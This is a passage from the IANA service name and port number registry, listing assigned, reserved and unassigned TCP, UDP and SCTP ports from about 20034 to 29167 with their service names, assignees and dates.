                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      NetBurner ID Port

nburn-id           20034       udp    IANA assigned this           [Paul_Breed]                                          [Paul_Breed]                                              2003-11
                                      well-formed service name as
                                      a replacement for
                                      "nburn_id".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nburn-id". This entry is now
nburn_id           20034       udp    NetBurner ID Port            [Paul_Breed]                                          [Paul_Breed]                                              2003-11                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                20035-20045           Unassigned
tmophl7mts         20046       tcp    TMOP HL7 Message Transfer    [Tim_Riley]                                           [Tim_Riley]                                               2009-07-31
                                      Service
tmophl7mts         20046       udp    TMOP HL7 Message Transfer    [Tim_Riley]                                           [Tim_Riley]                                               2009-07-31
                                      Service
                20047-20047           Unassigned
mountd             20048       tcp    NFS mount protocol           [Nicolas_Williams]                                    [Nicolas_Williams]                                        2010-08-09
mountd             20048       udp    NFS mount protocol           [Nicolas_Williams]                                    [Nicolas_Williams]                                        2010-08-09
nfsrdma            20049       tcp    Network File System (NFS)                                                                                                                                 2017-09-05   [RFC8267]
                                      over RDMA
nfsrdma            20049       udp    Network File System (NFS)                                                                                                                                 2017-09-05   [RFC8267]
                                      over RDMA
nfsrdma            20049      sctp    Network File System (NFS)                                                                                                                                 2017-09-05   [RFC8267]
                                      over RDMA
                20050-20056           Unassigned
avesterra          20057       tcp    AvesTerra Hypergraph         [Georgetown_University]                               [J.C._Smart]                                              2016-06-06
                                      Transfer Protocol (HGTP)
                   20057       udp    Reserved
                20058-20166           Unassigned
tolfab             20167       tcp    TOLfab Data Change           [Pierre_Couderc]                                      [Pierre_Couderc]                                          2006-03
tolfab             20167       udp    TOLfab Data Change           [Pierre_Couderc]                                      [Pierre_Couderc]                                          2006-03
                20168-20201           Unassigned
ipdtp-port         20202       tcp    IPD Tunneling Port           [Vikki_Yin_Wei]                                       [Vikki_Yin_Wei]                                           2003-01
ipdtp-port         20202       udp    IPD Tunneling Port           [Vikki_Yin_Wei]                                       [Vikki_Yin_Wei]                                           2003-01
                20203-20221           Unassigned
ipulse-ics         20222       tcp    iPulse-ICS                   [Meggie_Garica_Woodru]                                [Meggie_Garica_Woodru]
ipulse-ics         20222       udp    iPulse-ICS                   [Meggie_Garica_Woodru]                                [Meggie_Garica_Woodru]
                20223-20479           Unassigned
emwavemsg          20480       tcp    emWave Message Service       [Harald_Striepe]                                      [Harald_Striepe]                                          2008-02-14
emwavemsg          20480       udp    emWave Message Service       [Harald_Striepe]                                      [Harald_Striepe]                                          2008-02-14
                20481-20669           Unassigned
track              20670       tcp    Track                        [Michael_Sweet]                                       [Michael_Sweet]
track              20670       udp    Track                        [Michael_Sweet]                                       [Michael_Sweet]
                20671-20998           Unassigned
athand-mmp         20999       tcp    At Hand MMP                  [Stepan_Riha]                                         [Stepan_Riha]
athand-mmp         20999       udp    AT Hand MMP                  [Stepan_Riha]                                         [Stepan_Riha]
irtrans            21000       tcp    IRTrans Control              [Marcus_Mueller]                                      [Marcus_Mueller]                                          2004-11
irtrans            21000       udp    IRTrans Control              [Marcus_Mueller]                                      [Marcus_Mueller]                                          2004-11
                21001-21009           Unassigned
notezilla-lan      21010       tcp    Notezilla.Lan Server         [Conceptworld_Corporation]                            [Gautam_Jain]                                             2013-08-20
                   21010       udp    Reserved
                21011-21211           Unassigned
trinket-agent      21212       tcp    Distributed artificial       [Holvonix_LLC]                                        [Advay_Mengle]                                            2017-11-29
                                      intelligence
                   21212       udp    Reserved
                21213-21220           Unassigned
aigairserver       21221       tcp    Services for Air Server      [AIG_S.L.]                                            [Edelmiro_Gonzalez_Martinez]                              2017-03-16
                   21221       udp    Reserved
                21222-21552           Unassigned
rdm-tfs            21553       tcp    Raima RDM TFS                [Paul_Johnson]                                        [Paul_Johnson]                                            2011-05-02
                   21553       udp    Reserved
dfserver           21554       tcp    MineScape Design File Server [Michael_Purser]                                      [Michael_Purser]                                          2006-06
dfserver           21554       udp    MineScape Design File Server [Michael_Purser]                                      [Michael_Purser]                                          2006-06
                21555-21589           Unassigned
vofr-gateway       21590       tcp    VoFR Gateway                 [Marty_Borden]                                        [Marty_Borden]
vofr-gateway       21590       udp    VoFR Gateway                 [Marty_Borden]                                        [Marty_Borden]
                21591-21799           Unassigned
tvpm               21800       tcp    TVNC Pro Multiplexing        [Brian_Blevins]                                       [Brian_Blevins]
tvpm               21800       udp    TVNC Pro Multiplexing        [Brian_Blevins]                                       [Brian_Blevins]
                21801-21844           Unassigned
webphone           21845       tcp    webphone                     [Toby_Hosterman]                                      [Toby_Hosterman]
webphone           21845       udp    webphone                     [Toby_Hosterman]                                      [Toby_Hosterman]
netspeak-is        21846       tcp    NetSpeak Corp. Directory     [Toby_Hosterman]                                      [Toby_Hosterman]
                                      Services
netspeak-is        21846       udp    NetSpeak Corp. Directory     [Toby_Hosterman]                                      [Toby_Hosterman]
                                      Services
netspeak-cs        21847       tcp    NetSpeak Corp. Connection    [Toby_Hosterman]                                      [Toby_Hosterman]
                                      Services
netspeak-cs        21847       udp    NetSpeak Corp. Connection    [Toby_Hosterman]                                      [Toby_Hosterman]
                                      Services
netspeak-acd       21848       tcp    NetSpeak Corp. Automatic     [Toby_Hosterman]                                      [Toby_Hosterman]
                                      Call Distribution
netspeak-acd       21848       udp    NetSpeak Corp. Automatic     [Toby_Hosterman]                                      [Toby_Hosterman]
                                      Call Distribution
netspeak-cps       21849       tcp    NetSpeak Corp. Credit        [Toby_Hosterman]                                      [Toby_Hosterman]
                                      Processing System
netspeak-cps       21849       udp    NetSpeak Corp. Credit        [Toby_Hosterman]                                      [Toby_Hosterman]
                                      Processing System
                21850-21999           Unassigned
snapenetio         22000       tcp    SNAPenetIO                   [Kevin_Kuhns]                                         [Kevin_Kuhns]
snapenetio         22000       udp    SNAPenetIO                   [Kevin_Kuhns]                                         [Kevin_Kuhns]
optocontrol        22001       tcp    OptoControl                  [Kevin_Kuhns]                                         [Kevin_Kuhns]
optocontrol        22001       udp    OptoControl                  [Kevin_Kuhns]                                         [Kevin_Kuhns]
optohost002        22002       tcp    Opto Host Port 2             [Doug_Leany]                                          [Doug_Leany]                                              2006-09
optohost002        22002       udp    Opto Host Port 2             [Doug_Leany]                                          [Doug_Leany]                                              2006-09
optohost003        22003       tcp    Opto Host Port 3             [Doug_Leany]                                          [Doug_Leany]                                              2006-09
optohost003        22003       udp    Opto Host Port 3             [Doug_Leany]                                          [Doug_Leany]                                              2006-09
optohost004        22004       tcp    Opto Host Port 4             [Doug_Leany]                                          [Doug_Leany]                                              2006-09
optohost004        22004       udp    Opto Host Port 4             [Doug_Leany]                                          [Doug_Leany]                                              2006-09
optohost004        22005       tcp    Opto Host Port 5             [Doug_Leany]                                          [Doug_Leany]                                              2006-09
optohost004        22005       udp    Opto Host Port 5             [Doug_Leany]                                          [Doug_Leany]                                              2006-09
                22006-22124           Unassigned
dcap               22125       tcp    dCache Access Protocol       [Christoph_Anton_Mitt]                                [Christoph_Anton_Mitt]                                    2009-03-10
                   22125       udp    Reserved
                22126-22127           Unassigned
gsidcap            22128       tcp    GSI dCache Access Protocol   [Christoph_Anton_Mitt]                                [Christoph_Anton_Mitt]                                    2009-03-10
                   22128       udp    Reserved
                22129-22221           Unassigned
                                      EasyEngine is CLI tool to
easyengine         22222       tcp    manage WordPress Sites on    [rtCamp_Solutions_Private_Limited]                    [Rahul_Bansal]                                            2014-03-10
                                      Nginx server
                   22222       udp    Reserved
                22223-22272           Unassigned
wnn6               22273       tcp    wnn6                         [Yasunari_Gon_Yamasit]                                [Yasunari_Gon_Yamasit]
wnn6               22273       udp    wnn6                         [Yasunari_Gon_Yamasit]                                [Yasunari_Gon_Yamasit]
                22274-22304           Unassigned
cis                22305       tcp    CompactIS Tunnel             [Justin_Paupore]                                      [Justin_Paupore]                                          2007-08-16
cis                22305       udp    CompactIS Tunnel             [Justin_Paupore]                                      [Justin_Paupore]                                          2007-08-16
                22306-22334           Unassigned
shrewd-control     22335       tcp    Initium Labs Security and    [Initium_Labs_LLC]                                    [Manbir_Sahni]                                            2015-03-06
                                      Automation Control
shrewd-stream      22335       udp    Initium Labs Security and    [Initium_Labs_LLC]                                    [Manbir_Sahni]                                            2015-03-06
                                      Automation Streaming
                22336-22342           Unassigned
cis-secure         22343       tcp    CompactIS Secure Tunnel      [Justin_Paupore]                                      [Justin_Paupore]                                          2007-08-16
cis-secure         22343       udp    CompactIS Secure Tunnel      [Justin_Paupore]                                      [Justin_Paupore]                                          2007-08-16
                22344-22346           Unassigned
wibukey            22347       tcp    WibuKey Standard WkLan       [Wolfgang_Voelker]                                    [Wolfgang_Voelker]                                        2007-06
wibukey            22347       udp    WibuKey Standard WkLan       [Wolfgang_Voelker]                                    [Wolfgang_Voelker]                                        2007-06
                22348-22349           Unassigned
codemeter          22350       tcp    CodeMeter Standard           [Wolfgang_Voelker]                                    [Wolfgang_Voelker]                                        2007-06
codemeter          22350       udp    CodeMeter Standard           [Wolfgang_Voelker]                                    [Wolfgang_Voelker]                                        2007-06
                                      TPC/IP requests of copy
codemeter-cmwan    22351       tcp    protection software to a     [WIBU-SYSTEMS_AG]                                     [Wolfgang_Völker_2]                                       2013-06-25
                                      server
                   22351       udp    Reserved
                22352-22536           Unassigned
caldsoft-backup    22537       tcp    CaldSoft Backup server file  [CaldSoft]                                            [Mark_Caldwell]                                           2011-08-12
                                      transfer
                   22537       udp    Reserved
                22538-22554           Unassigned
vocaltec-wconf     22555       tcp    Vocaltec Web Conference      [Scott_Petrack]                                       [Scott_Petrack]
vocaltec-phone     22555       udp    Vocaltec Internet Phone      [Scott_Petrack]                                       [Scott_Petrack]
                22556-22762           Unassigned
talikaserver       22763       tcp    Talika Main Server           [Laxman_C_Marathe]                                    [Laxman_C_Marathe]                                        2006-12
talikaserver       22763       udp    Talika Main Server           [Laxman_C_Marathe]                                    [Laxman_C_Marathe]                                        2006-12
                22764-22799           Unassigned
aws-brf            22800       tcp    Telerate Information         [Timo_Sivonen]                                        [Timo_Sivonen]
                                      Platform LAN
aws-brf            22800       udp    Telerate Information         [Timo_Sivonen]                                        [Timo_Sivonen]
                                      Platform LAN
                22801-22950           Unassigned
brf-gw             22951       tcp    Telerate Information         [Timo_Sivonen]                                        [Timo_Sivonen]
                                      Platform WAN
brf-gw             22951       udp    Telerate Information         [Timo_Sivonen]                                        [Timo_Sivonen]
                                      Platform WAN
                22952-22999           Unassigned
inovaport1         23000       tcp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      1
inovaport1         23000       udp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      1
inovaport2         23001       tcp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      2
inovaport2         23001       udp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      2
inovaport3         23002       tcp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      3
inovaport3         23002       udp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      3
inovaport4         23003       tcp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      4
inovaport4         23003       udp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      4
inovaport5         23004       tcp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      5
inovaport5         23004       udp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      5
inovaport6         23005       tcp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      6
inovaport6         23005       udp    Inova LightLink Server Type  [Chris_Koeritz_3]                                     [Chris_Koeritz_3]                                         2006-10
                                      6
                23006-23052           Unassigned
gntp               23053       tcp    Generic Notification         [Growl_Project]                                       [Chris_Forsythe]                                          2012-02-07
                                      Transport Protocol
                   23053       udp    Reserved
                23054-23271           Unassigned
                   23272       tcp    Reserved
s102               23272       udp    S102 application             [Kimmo_Kymalainen]                                    [Kimmo_Kymalainen]                                        2009-08-26
                23273-23293           Unassigned
5afe-dir           23294       tcp    5AFE SDN Directory           [Ayoda_GmbH]                                          [Laurenz_Eschwey]                                         2016-04-01
5afe-disc          23294       udp    5AFE SDN Directory discovery [Ayoda_GmbH]                                          [Laurenz_Eschwey]                                         2016-04-01
                23295-23332           Unassigned
elxmgmt            23333       tcp    Emulex HBAnyware Remote      [Maziar_Tamadon]                                      [Maziar_Tamadon]                                          2007-11-06
                                      Management
elxmgmt            23333       udp    Emulex HBAnyware Remote      [Maziar_Tamadon]                                      [Maziar_Tamadon]                                          2007-11-06
                                      Management
                23334-23399           Unassigned
novar-dbase        23400       tcp    Novar Data                   [Keith_Kilroy]                                        [Keith_Kilroy]                                            2006-02
novar-dbase        23400       udp    Novar Data                   [Keith_Kilroy]                                        [Keith_Kilroy]                                            2006-02
novar-alarm        23401       tcp    Novar Alarm                  [Keith_Kilroy]                                        [Keith_Kilroy]                                            2006-02
novar-alarm        23401       udp    Novar Alarm                  [Keith_Kilroy]                                        [Keith_Kilroy]                                            2006-02
novar-global       23402       tcp    Novar Global                 [Keith_Kilroy]                                        [Keith_Kilroy]                                            2006-02
novar-global       23402       udp    Novar Global                 [Keith_Kilroy]                                        [Keith_Kilroy]                                            2006-02
                23403-23455           Unassigned
aequus             23456       tcp    Aequus Service               [James_Anson]                                         [James_Anson]                                             2009-02-12
                   23456       udp    Reserved
aequus-alt         23457       tcp    Aequus Service Mgmt          [James_Anson]                                         [James_Anson]                                             2009-02-12
                   23457       udp    Reserved
                23458-23545           Unassigned
areaguard-neo      23546       tcp    AreaGuard Neo - WebServer    [SODATSW_spol]                                        [Roman_Štěpánek]                                          2012-05-31
                   23546       udp    Reserved
                23547-23999           Unassigned
med-ltp            24000       tcp    med-ltp                      [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-ltp            24000       udp    med-ltp                      [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-fsp-rx         24001       tcp    med-fsp-rx                   [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-fsp-rx         24001       udp    med-fsp-rx                   [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-fsp-tx         24002       tcp    med-fsp-tx                   [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-fsp-tx         24002       udp    med-fsp-tx                   [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-supp           24003       tcp    med-supp                     [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-supp           24003       udp    med-supp                     [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-ovw            24004       tcp    med-ovw                      [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-ovw            24004       udp    med-ovw                      [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-ci             24005       tcp    med-ci                       [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-ci             24005       udp    med-ci                       [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-net-svc        24006       tcp    med-net-svc                  [Juergen_Fischbach]                                   [Juergen_Fischbach]
med-net-svc        24006       udp    med-net-svc                  [Juergen_Fischbach]                                   [Juergen_Fischbach]
                24007-24241           Unassigned
filesphere         24242       tcp    fileSphere                   [Carl_Cedergren]                                      [Carl_Cedergren]
filesphere         24242       udp    fileSphere                   [Carl_Cedergren]                                      [Carl_Cedergren]
                24243-24248           Unassigned
vista-4gl          24249       tcp    Vista 4GL                    [Mark_Itzcovitz]                                      [Mark_Itzcovitz]
vista-4gl          24249       udp    Vista 4GL                    [Mark_Itzcovitz]                                      [Mark_Itzcovitz]
                24250-24320           Unassigned
ild                24321       tcp    Isolv Local Directory        [Mitchell_Bass]                                       [Mitchell_Bass]                                           2005-08
ild                24321       udp    Isolv Local Directory        [Mitchell_Bass]                                       [Mitchell_Bass]                                           2005-08
hid                24322       udp    Transport of Human Interface [Freebox_SAS]                                         [Nicolas_Pouillon]                                        2012-12-14
                                      Device data streams
                   24322       tcp    Reserved
vrmg-ip            24323       tcp    Verimag mobile class         [Verimag_OOO]                                         [Denis_Ionov]                                             2018-08-15
                                      protocol over TCP
                   24323       udp    Reserved
                24324-24385           Unassigned
                                      Intel RCI

intel-rci          24386       tcp    IANA assigned this           [Mark_Lewis_2]                                        [Mark_Lewis_2]
                                      well-formed service name as
                                      a replacement for
                                      "intel_rci".
                                                                                                                                                                                                                                                                                  This entry is an alias to "intel-rci". This entry is now
intel_rci          24386       tcp    Intel RCI                    [Mark_Lewis_2]                                        [Mark_Lewis_2]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Intel RCI

intel-rci          24386       udp    IANA assigned this           [Mark_Lewis_2]                                        [Mark_Lewis_2]
                                      well-formed service name as
                                      a replacement for
                                      "intel_rci".
                                                                                                                                                                                                                                                                                  This entry is an alias to "intel-rci". This entry is now
intel_rci          24386       udp    Intel RCI                    [Mark_Lewis_2]                                        [Mark_Lewis_2]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                24387-24464           Unassigned
tonidods           24465       tcp    Tonido Domain Server         [Madhan_Kanagavel]                                    [Madhan_Kanagavel]                                        2008-07-18
tonidods           24465       udp    Tonido Domain Server         [Madhan_Kanagavel]                                    [Madhan_Kanagavel]                                        2008-07-18
                24466-24553           Unassigned
binkp              24554       tcp    BINKP                        [Max_Masyutin]                                        [Max_Masyutin]
binkp              24554       udp    BINKP                        [Max_Masyutin]                                        [Max_Masyutin]
                24555-24576           Unassigned
bilobit            24577       tcp    bilobit Service              [bilobit_GmbH]                                        [Martin_Schmuker]                                         2014-08-15
bilobit-update     24577       udp    bilobit Service Update       [bilobit_GmbH]                                        [Martin_Schmuker]                                         2014-08-15
                24578-24665           Unassigned
                                      Service used by SmarDTV to
sdtvwcam           24666       tcp    communicate between a CAM    [SmarDTV]                                             [Vincent_Demortier]                                       2015-03-04
                                      and a second screen
                                      application
                   24666       udp    Reserved
                24667-24675           Unassigned
canditv            24676       tcp    Canditv Message Service      [Gary_Aston]                                          [Gary_Aston]                                              2009-03-10
canditv            24676       udp    Canditv Message Service      [Gary_Aston]                                          [Gary_Aston]                                              2009-03-10
flashfiler         24677       tcp    FlashFiler                   [Ben_Oram]                                            [Ben_Oram]
flashfiler         24677       udp    FlashFiler                   [Ben_Oram]                                            [Ben_Oram]
proactivate        24678       tcp    Turbopower Proactivate       [Ben_Oram]                                            [Ben_Oram]
proactivate        24678       udp    Turbopower Proactivate       [Ben_Oram]                                            [Ben_Oram]
                   24679              Unassigned
tcc-http           24680       tcp    TCC User HTTP Service        [Brian_Kennedy]                                       [Brian_Kennedy]                                           2006-08
tcc-http           24680       udp    TCC User HTTP Service        [Brian_Kennedy]                                       [Brian_Kennedy]                                           2006-08
                24681-24753           Unassigned
cslg               24754       tcp    Citrix StorageLink Gateway   [Mark_Nijmeijer]                                      [Mark_Nijmeijer]                                          2009-04-17
                   24754       udp    Reserved
                24755-24849           Unassigned
                   24850       tcp    Reserved
assoc-disc         24850       udp    Device Association Discovery [Microsoft_Corporation_3]                             [Sachin_Sheth]                                            2012-06-27
                24851-24921           Unassigned
find               24922       tcp    Find Identification of       [Jean_Paul_Moreaux]                                   [Jean_Paul_Moreaux]
                                      Network Devices
find               24922       udp    Find Identification of       [Jean_Paul_Moreaux]                                   [Jean_Paul_Moreaux]
                                      Network Devices
                24923-24999           Unassigned
icl-twobase1       25000       tcp    icl-twobase1                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase1       25000       udp    icl-twobase1                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase2       25001       tcp    icl-twobase2                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase2       25001       udp    icl-twobase2                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase3       25002       tcp    icl-twobase3                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase3       25002       udp    icl-twobase3                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase4       25003       tcp    icl-twobase4                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase4       25003       udp    icl-twobase4                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase5       25004       tcp    icl-twobase5                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase5       25004       udp    icl-twobase5                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase6       25005       tcp    icl-twobase6                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase6       25005       udp    icl-twobase6                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase7       25006       tcp    icl-twobase7                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase7       25006       udp    icl-twobase7                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase8       25007       tcp    icl-twobase8                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase8       25007       udp    icl-twobase8                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase9       25008       tcp    icl-twobase9                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase9       25008       udp    icl-twobase9                 [J_A_Sever]                                           [J_A_Sever]
icl-twobase10      25009       tcp    icl-twobase10                [J_A_Sever]                                           [J_A_Sever]
icl-twobase10      25009       udp    icl-twobase10                [J_A_Sever]                                           [J_A_Sever]
                25010-25470           Unassigned
rna                25471      sctp    RNSAP User Adaptation for    [Dario_S_Tonesi]                                      [Dario_S_Tonesi]                                          2011-02-07
                                      Iurh
                25472-25575           Unassigned
sauterdongle       25576       tcp    Sauter Dongle                [Christian_Brecht]                                    [Christian_Brecht]                                        2010-12-15
                   25576       udp    Reserved
                25577-25603           Unassigned
idtp               25604       tcp    Identifier Tracing Protocol  [Huang_Neng-geng]                                     [Huang_Neng-geng]                                         2011-08-09
                   25604       udp    Reserved
                25605-25792           Unassigned
vocaltec-hos       25793       tcp    Vocaltec Address Server      [Scott_Petrack]                                       [Scott_Petrack]
vocaltec-hos       25793       udp    Vocaltec Address Server      [Scott_Petrack]                                       [Scott_Petrack]
                25794-25899           Unassigned
tasp-net           25900       tcp    TASP Network Comm            [Martin_Ellis]                                        [Martin_Ellis]                                            2004-11
tasp-net           25900       udp    TASP Network Comm            [Martin_Ellis]                                        [Martin_Ellis]                                            2004-11
niobserver         25901       tcp    NIObserver                   [Roman_Oliynyk]                                       [Roman_Oliynyk]
niobserver         25901       udp    NIObserver                   [Roman_Oliynyk]                                       [Roman_Oliynyk]
nilinkanalyst      25902       tcp    NILinkAnalyst                [Roman_Oliynyk_2]                                     [Roman_Oliynyk_2]                                         2007-08-30
nilinkanalyst      25902       udp    NILinkAnalyst                [Roman_Oliynyk_2]                                     [Roman_Oliynyk_2]                                         2007-08-30
niprobe            25903       tcp    NIProbe                      [Roman_Oliynyk]                                       [Roman_Oliynyk]
niprobe            25903       udp    NIProbe                      [Roman_Oliynyk]                                       [Roman_Oliynyk]
                25904-25953           Unassigned
bf-game            25954       udp    Bitfighter game server       [Christopher_Eykamp]                                  [Christopher_Eykamp]                                      2012-08-16
                   25954       tcp    Reserved
bf-master          25955       udp    Bitfighter master server     [Christopher_Eykamp]                                  [Christopher_Eykamp]                                      2012-08-16
                   25955       tcp    Reserved
                25956-25999           Unassigned
quake              26000       tcp    quake                        [Yasunari_Gon_Yamasit]                                [Yasunari_Gon_Yamasit]
quake              26000       udp    quake                        [Yasunari_Gon_Yamasit]                                [Yasunari_Gon_Yamasit]
                26001-26132           Unassigned
                                      Symbolic Computation
scscp              26133       tcp    Software Composability       [Alexander_Konovalov]                                 [Alexander_Konovalov]                                     2007-11-27
                                      Protocol
                                      Symbolic Computation
scscp              26133       udp    Software Composability       [Alexander_Konovalov]                                 [Alexander_Konovalov]                                     2007-11-27
                                      Protocol
                26134-26207           Unassigned
wnn6-ds            26208       tcp    wnn6-ds                      [Yasunari_Gon_Yamasit]                                [Yasunari_Gon_Yamasit]
wnn6-ds            26208       udp    wnn6-ds                      [Yasunari_Gon_Yamasit]                                [Yasunari_Gon_Yamasit]
                26209-26256           Unassigned
cockroach          26257       tcp    CockroachDB                  [Cockroach_Labs_Inc]                                  [Ben_Darnell]                                             2015-09-29
                   26257       udp    Reserved
                26258-26259           Unassigned
ezproxy            26260       tcp    eZproxy                      [Albert_C_Yang]                                       [Albert_C_Yang]
ezproxy            26260       udp    eZproxy                      [Albert_C_Yang]                                       [Albert_C_Yang]
ezmeeting          26261       tcp    eZmeeting                    [Albert_C_Yang]                                       [Albert_C_Yang]
ezmeeting          26261       udp    eZmeeting                    [Albert_C_Yang]                                       [Albert_C_Yang]
k3software-svr     26262       tcp    K3 Software-Server           [Jim_Baldridge]                                       [Jim_Baldridge]
k3software-svr     26262       udp    K3 Software-Server           [Jim_Baldridge]                                       [Jim_Baldridge]
k3software-cli     26263       tcp    K3 Software-Client           [Jim_Baldridge]                                       [Jim_Baldridge]
k3software-cli     26263       udp    K3 Software-Client           [Jim_Baldridge]                                       [Jim_Baldridge]
                   26264              De-registered                                                                                                                                             2006-04-06
                26265-26485           Unassigned
exoline-tcp        26486       tcp    EXOline-TCP                  [AB_Regin]                                            [Simon_Jonsson]                                           2008-12-24   2018-09-13
exoline-udp        26486       udp    EXOline-UDP                  [AB_Regin]                                            [Simon_Jonsson]                                           2008-12-24   2018-09-13
exoconfig          26487       tcp    EXOconfig                    [Urban_Fosseus]                                       [Urban_Fosseus]                                           2008-12-24
exoconfig          26487       udp    EXOconfig                    [Urban_Fosseus]                                       [Urban_Fosseus]                                           2008-12-24
                   26488              Unassigned
exonet             26489       tcp    EXOnet                       [Urban_Fosseus]                                       [Urban_Fosseus]                                           2008-12-24
exonet             26489       udp    EXOnet                       [Urban_Fosseus]                                       [Urban_Fosseus]                                           2008-12-24
                26490-26999           Unassigned
flex-lm         27000-27009           FLEX LM (1-10)               [Flexera_Software]                                    [Paul_Bland]                                                           2018-02-15
flex-lmadmin       27010       tcp    A protocol for managing      [Flexera]                                             [Paul_Bland]                                              2018-08-22
                                      license services
                   27010       udp    Reserved
                                                                                                                                                                                                                                                                     Unauthorized
                                                                                                                                                                                                                                                                     Use Known on
                27011-27344           Unassigned                                                                                                                                                                                                                     ports 27017,
                                                                                                                                                                                                                                                                     27018 and
                                                                                                                                                                                                                                                                     27019
imagepump          27345       tcp    ImagePump                    [Richard_Minner]                                      [Richard_Minner]
imagepump          27345       udp    ImagePump                    [Richard_Minner]                                      [Richard_Minner]
                27346-27441           Unassigned
jesmsjc            27442       tcp    Job controller service       [Chris_Newman]                                        [Chris_Newman]                                            2010-10-15
jesmsjc            27442       udp    Job controller service       [Chris_Newman]                                        [Chris_Newman]                                            2010-10-15
                27443-27503           Unassigned
kopek-httphead     27504       tcp    Kopek HTTP Head Port         [Sten_H_Danielsen]                                    [Sten_H_Danielsen]                                        2002-07
kopek-httphead     27504       udp    Kopek HTTP Head Port         [Sten_H_Danielsen]                                    [Sten_H_Danielsen]                                        2002-07
                27505-27781           Unassigned
ars-vista          27782       tcp    ARS VISTA Application        [Spencer_Teran_2]                                     [Spencer_Teran_2]                                         2004-11
ars-vista          27782       udp    ARS VISTA Application        [Spencer_Teran_2]                                     [Spencer_Teran_2]                                         2004-11
                27783-27875           Unassigned
astrolink          27876       tcp    Astrolink Protocol           [Alanax_Technologies_Inc]                             [Wesley_Eddy]                                             2013-01-14
                   27876       udp    Reserved
                27877-27998           Unassigned
tw-auth-key        27999       tcp    TW Authentication/Key        [Alex_Duncan_2]                                       [Alex_Duncan_2]
                                      Distribution and
tw-auth-key        27999       udp    Attribute Certificate        [Alex_Duncan_2]                                       [Alex_Duncan_2]
                                      Services
                                                                                                                                                                                                                                                                     Unauthorized
nxlmd              28000       tcp    NX License Manager           [Anthony_Greatorex]                                   [Anthony_Greatorex]                                       2004-11                                                                           Use Known on
                                                                                                                                                                                                                                                                     port 28000
nxlmd              28000       udp    NX License Manager           [Anthony_Greatorex]                                   [Anthony_Greatorex]                                       2004-11
pqsp               28001       tcp    PQ Service                   [Peter_Laschtowitz]                                   [Peter_Laschtowitz]                                       2009-09-15
                   28001       udp    Reserved
                                                                                                                                                                                                                                                                     Unauthorized
                                                                                                                                                                                                                                                                     Use Known on
                28002-28118           Unassigned                                                                                                                                                                                                                     ports 28017,
                                                                                                                                                                                                                                                                     28018 and
                                                                                                                                                                                                                                                                     28019
                   28119       tcp    Reserved
a27-ran-ran        28119       udp    A27 cdma2000 RAN Management  [ThreeGPP_2]                                          [Zhiming_Li]                                              2012-04-13
                28120-28199           Unassigned
voxelstorm         28200       tcp    VoxelStorm game server       [VoxelStorm]                                          [Eugene_Hopkinson]                                        2012-11-08
voxelstorm         28200       udp    VoxelStorm game server       [VoxelStorm]                                          [Eugene_Hopkinson]                                        2012-11-08
                28201-28239           Unassigned
siemensgsm         28240       tcp    Siemens GSM                  [David_Anuszewski]                                    [David_Anuszewski]                                        2004-11
siemensgsm         28240       udp    Siemens GSM                  [David_Anuszewski]                                    [David_Anuszewski]                                        2004-11
                28241-28588           Unassigned
                                      Building operating system
bosswave           28589       tcp    services wide area verified  [University_of_California_Berkeley]                   [Michael_Andersen]                                        2016-06-13
                                      exchange
                   28589       udp    Reserved
                28590-29117           Unassigned
                   29118       tcp    Reserved
                   29118       udp    Reserved
sgsap              29118      sctp    SGsAP in 3GPP                [GPP_Specifications]                                  [GPP_Specifications]                                      2009-06-11
                29119-29166           Unassigned
otmp               29167       tcp    ObTools Message Protocol     [Paul_Clark]                                          [Paul_Clark]                                              2006-02
